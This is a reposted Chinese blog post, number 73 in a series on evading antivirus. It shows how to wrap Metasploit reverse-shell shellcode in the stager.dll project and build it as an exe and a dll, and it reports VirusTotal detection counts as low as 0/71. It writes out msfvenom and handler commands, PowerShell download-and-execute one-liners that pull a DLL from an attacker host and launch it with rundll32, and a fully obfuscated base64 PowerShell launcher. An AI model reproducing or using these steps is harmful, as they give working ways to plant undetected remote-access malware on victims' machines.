其他分享
首页 > 其他分享> > 【免杀73】使用stager.dll的多种免杀方式

【免杀73】使用stager.dll的多种免杀方式

作者:互联网

​2020年初,从网上搜集了多种免杀工具和方式,汇总整理了远控免杀专题文章的工具篇、代码篇、白名单篇等,共70篇文章。现时隔一年,听到不少免杀爱好者的追更诉求,同时也看到了很多新的bypassAV的工具和技巧,于是想把这个系列继续补充一些,内容也都是来自互联网,汇总到一起只是方便大家查阅参考。


免杀专题已完成的文章及相关软件下载:https://github.com/TideSec/BypassAntiVirus
免杀专题在线文库:https://www.yuque.com/tidesec/bypassav
0x01 配置准备msf 使用msf生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp_rc4 EXIT_FUNC=PROCESS LHOST=10.211.55.2 LPORT=5555  RC4PASSWORD=tidesec --encrypt aes256 --encrypt-iv 6295259629525900 --encrypt-key 17178930171789301717893017178930 -f c -o meterpreter.c

在msf上进行监听
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp_rc4
msf5 exploit(multi/handler) > set lhost 10.211.55.2
msf5 exploit(multi/handler) > set lport 5555
msf5 exploit(multi/handler) > set RC4PASSWORD tidesec
 
0x02 使用stager生成exe(VT查杀率7/72)   下载https://github.com/phackt/stager.dll
在vs中新建空项目,我这里是Project5
577CBCA6-B8CF-4748-936B-7528A85FF63A.png)
新建源文件stager.cpp和aes.cpp,新建头文件aes.h
然后将https://github.com/phackt/stager.dll中的相应文件内容复制到相应文件。
因为我msf生成的是x86,所以我是从stager_exe_32.cpp中复制内容到stager.cpp。
然后修改stager.cpp中的shellcode和密钥。

生成exe后,执行Project.exe。

msf中可上线

virustotal.com上查杀率为7/72

0x03 使用stager生成dll(VT查杀率0/71) 还是和上面一样,新建项目和三个文件,因为是生成dll文件,所以是从stager_dll_32.cpp中复制内容到stager.cpp,而不是上面的stager_exe_32.cpp。
然后修改shellcode和key值。

项目属性,修改为dll文件

生成dll文件,使用rundll32.exe Project5.dll,Exec可执行。此处也可以使用rundll32.exe Project5.dll,#1也可执行。

msf中可以正常上线

virustotal.com上查杀率为0/71

0x04 powershell免杀处理(VT查杀率5/59) 在powershell中执行
$file = $env:temp+'\'+(Get-Random)+'.dll'; (New-Object System.Net.WebClient).DownloadFile('http://10.211.55.2/stager.dll',$file); $exec = New-Object -com shell.application;$exec.shellexecute('rundll32',$file+',Exec');

或者直接powershell一句话执行
powershell -c "$file = $env:temp+'\'+(Get-Random)+'.dll'; (New-Object System.Net.WebClient).DownloadFile('http://10.211.55.2/stager.dll',$file); $exec = New-Object -com shell.application;$exec.shellexecute('rundll32',$file+',Exec');"


将上面内容保存为dropper.ps1,使用Invoke-Obfuscation对其进行混淆。
git clone https://github.com/danielbohannon/Invoke-Obfuscation.git cd Invoke-Obfuscation && powershell -exec bypass -c "Import-Module ./Invoke-Obfuscation.psd1;Invoke-Obfuscation"

然后
SET SCRIPTPATH c:\test\dropper.ps1TOKEN\ALL\1,BACK,MEMBER\1,BACK,WHITESPACE\1,1,1,HOME,STRING\3,HOME,COMPRESS\1,Launcher\PS\234567\Copy


PoWeRsheLL  -NOlo  -wIn  1 -noNI  -NOpROfiL -EXecUT  bypASS -CO  "(NeW-ObJect Io.cOMpressiON.dEFLATESTreAm([sYSTEM.io.MEmORystREam] [CONVeRt]::frOmBaSe64string( 'XVRtT+JAEP4rE2JsG2ilheKh8cOFw8udHiVqOI3xA5RFampLoLxca//7zcxut6Kmu7Mddp55npnpvcjAbGzXjWZjPInThgV4BMswkij4bb/4XqvntbrP4XC8+RMMLiaJOAHT+bB6nZf19+XguWXMHoUhBtN4LO5s6FavrbbnSrPZ/qaMrjJM+vlKrEO7r6M8hbkBoB3g9SvPbh0eeaBXuSz/XEU+95XRP/8KYeHlSwAL/40mwuCShwLhWvgc8DRs0Xt8wnyBq30YP5RuUbYLco7xeQDUBOg2NAHKIRq3ES43/WBRIPsWagYygMcQOa4UvYN7HDMUeQl5nmzX+GJh44GAcPMKgkMDEccPDGOCKW6C3Shy8GSp2AcRx2IpbYpecdioPdsSLQKhEAsb6vjtouwQCjNCOibuThmKR6Qg0CYWQH8oFDAkEgpzChbJ/DnuajV1JEFJKI9j3MRyUyeVpFE2VWJyBmiWbYKgVDAJr6A3+Lif2L6nWFcFmtFlrSHBBrbcFehejGo8wn+badoLrl6HGXtFDQNcQgJjfqfKBL1fscFLORA3fbSCgyhmuLM0JAxOBftF/At1uyYiVfX5Jqaz1JmoZElo1/VUieK586TzXovXabY58xzfV3yktk7bRePs7GKVZbpj1Z1Y/kS3T7uWtexyH/kVX+xYbKIU3ZMR1dHh7FWeIo5UIlN8k1LYZJ/+UMXVqNdzPALryt0kW4kkVWMhO0nqYmkJZa7vVYMmgqYlHszE37pwToZl1Jwz7SDYSqTNv/t6mDJpgipx1VI+E8fEekXdZ27B+nCSuJjcWwoppIZ/q+PuZR74zAIaf5kJwfCwULcy7aO2lfo6un9Ub/F3huiToGpwcqo5sYIvX5dqELn/oCktC7SKUk+KlqA1vaPbR/1A3SF+KpT3tNZ2LqkeA7I2nULyke1DiZ/qITCl1QSdAsbYrdU4Anxy4BCsqMI4BkNS6GJCDSToM8LeK6iGqxzeRnKarvk7w/NkmCY0iOslnGzvVrvb4BlscB3HNtXZicXoNVuC9WK/pVFiGB8QDQ//AQ=='),[SysteM.iO.COMPResSiON.comPresSIonmodE]::DeCoMpREsS ) |FOreACH-OBJeCT{NeW-ObJect io.sTreAmrEadeR( $_ , [tEXt.ENcODiNG]::AsCiI ) } ).readTOeND() |.((VarIAble '*mdr*').NaME[3,11,2]-Join'')"
 

可直接执行上面的代码,可回连。


将上面代码保存为stager.ps1,放在web目录下。可以使用下面的代码来下载stager.ps1并执行,不过我执行没能成功回连。本地执行stager.ps1也没能成功。

powershell.exe -nop -w 1 $e=(New-Object System.Net.WebClient).DownloadString(\"http://10.211.55.2/stager.ps1\"); IEX $e'!'A1'

stager.ps1文件免杀情况

0x05 cl.exe编译问题   在https://github.com/phackt/stager.dll中给出的编译是使用cl.exe,但由于我本地是使用的非完整版vs2017,环境变量没有配置完善,所以导致在使用cl.exe编译时,依赖头文件和lib文件出现很多问题。
最后是设置lib变量:C:\Program Files (x86)\Windows Kits\10\Lib\10.0.14393.0\um\x86;C:\Users\xysoul\Desktop\Visual Studio 2017 Enterprise\VC\Tools\MSVC\14.10.25017\lib\x86;C:\Program Files (x86)\Windows Kits\10\Lib\10.0.14393.0\ucrt\x86;C:\Users\xysoul\Desktop\Visual Studio 2017 Enterprise\VC\Tools\MSVC\14.10.25017\lib\x86
设置include变量:C:\Users\xysoul\Desktop\Visual Studio 2017 Enterprise\VC\Tools\MSVC\14.10.25017\include;C:\Program Files (x86)\Windows Kits\10\Include\10.0.14393.0\winrt;C:\Program Files (x86)\Windows Kits\10\Include\10.0.14393.0\um;C:\Program Files (x86)\Windows Kits\10\Include\10.0.14393.0\ucrt;C:\Program Files (x86)\Windows Kits\10\Include\10.0.14393.0\shared
设置path:C:\Users\xysoul\Desktop\Visual Studio 2017 Enterprise\VC\Tools\MSVC\14.10.25017\bin\HostX86\x86
编译命令
cl.exe /LD /MT /EHa stager.cpp aes.cpp /Fe:stager.dll



cl编译问题参考:http://www.voidcn.com/article/p-vqunffcz-bkc.html
https://blog.csdn.net/zhouyang209117/article/details/17737413
0x06 参考资料 wh0ale后渗透详解:·http://github.wh0ale.xyz/2019/01/23/2019-1-23-%E5%90%8E%E6%B8%97%E9%80%8F%E8%AF%A6%E8%A7%A3/
stager.dll项目地址:https://github.com/phackt/stager.dll

标签:exe,免杀,dll,73,cpp,stager,com,x86
来源: https://www.cnblogs.com/Xor0ne/p/15744561.html